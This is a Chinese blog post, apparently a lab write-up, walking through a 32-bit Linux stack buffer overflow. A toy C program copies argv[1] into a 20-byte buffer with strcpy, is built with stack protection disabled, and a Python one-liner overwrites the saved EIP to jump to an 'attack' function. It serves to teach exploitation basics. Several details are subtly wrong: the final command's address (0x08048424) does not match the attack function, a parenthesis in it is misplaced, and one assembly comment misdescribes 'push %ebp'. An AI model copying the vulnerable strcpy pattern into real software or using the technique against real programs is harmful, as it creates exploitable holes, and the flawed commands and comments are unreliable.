渗透测试

Linux32缓冲区溢出实验

2020-02-17  本文已影响0人  sunnnnnnnnnny

实验环境

实验原理

关于缓冲区溢出,有一遍非常好的文章可以参考
https://0xrick.github.io/categories/binary-exploitation/

实验步骤

本实验我写了一个简单的示例代码来演示缓冲区溢出的原理。这个例子的功能非常简单,就通过构造特定的输入,填充main函数栈帧,通过覆盖eip的值,使得main结束后执行attack函数。
代码如下
mkdir bufferflow
vim test.c

#include<stdio.h>
#include<string.h>

void attack()
{
        puts("you are attack!\n");
}

int main(int argc,char* argv[])
{
        char buff[20];
        strcpy(buff,argv[1]);
        return 0;
}

使用gcc编译上面的代码,注意需要加入-fno-stack-protector选项,去掉gcc的栈保护机制
-g 选项是为gbp进行调试

root@protostar:/home/user/bufferflow# gcc -fno-stack-protector -g test.c -o test

下面我们通过构造输入程序执行 attack函数
这是一个32位系统
用gdb调试可看main函数的汇编代码,这是32位linux上gcc生产的汇编代码,我简单注释了一下

(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   %ebp ;将程序的返回地址压入栈
0x08048409 <main+1>:    mov    %esp,%ebp
0x0804840b <main+3>:    and    $0xfffffff0,%esp
0x0804840e <main+6>:    sub    $0x30,%esp ;分配栈帧大小为48个字
0x08048411 <main+9>:    mov    0xc(%ebp),%eax ;argv
0x08048414 <main+12>:   add    $0x4,%eax ;定位到argv[1]
0x08048417 <main+15>:   mov    (%eax),%eax ;将argv[1]的地址给eax
0x08048419 <main+17>:   mov    %eax,0x4(%esp) ;将argv[1]地址存入esp+4
0x0804841d <main+21>:   lea    0x1c(%esp),%eax ;将esp+28(buff)赋值给eax
0x08048421 <main+25>:   mov    %eax,(%esp) ;将buff的地址存入esp
0x08048424 <main+28>:   call   0x8048320 <strcpy@plt>;调用strcpy函数
0x08048429 <main+33>:   mov    $0x0,%eax
0x0804842e <main+38>:   leave  
0x0804842f <main+39>:   ret    
End of assembler dump.

我们通过程序想要找到buffer到eip的偏移量,然后根据这个偏移量来构造相应长度的输入覆盖eip的值,将main的返回地址跳转到指定位置


image.png image.png image.png

下面看一个这个输入

/home/user/bufferflow/test $(python -c "import struct;print('a'*32+struct.pack('I',0x080483f4))")

'a'*32是填充buff到eip之间的部分,内容是任意的
0x080483f4为attack函数的地址
struct是python用来进行结构打包的库,关于struct库的使用可参考https://blog.csdn.net/w83761456/article/details/21171085

上面的代码有点问题,main函数执行完跳转到attack函数,attack执行完没有正常退出,所以报错。
进行简单的修改

#include<stdio.h>
#include<string.h>
#include<unistd.h>

void attack()
{
        puts("you are attack!\n");
        exit(0);
}

int main(int argc,char* argv[])
{
        char buff[20];
        strcpy(buff,argv[1]);
        return 0;
}

使用上面的代码,就不会报Segment Fault的错误了

./test $(python -c "import struct;print('a'*32) + struct.pack('I',0x08048424)")
image.png

参考资料

寄存器知识
https://www.cnblogs.com/ncu-flyingfox/p/11291086.html

Linux下shellcode的编写
https://www.cnblogs.com/lsgxeva/p/10794331.html
nasm的安装
https://blog.csdn.net/liangxanhai/article/details/8521937

osboxes
https://www.osboxes.org/ubuntu-server/

上一篇下一篇

猜你喜欢

热点阅读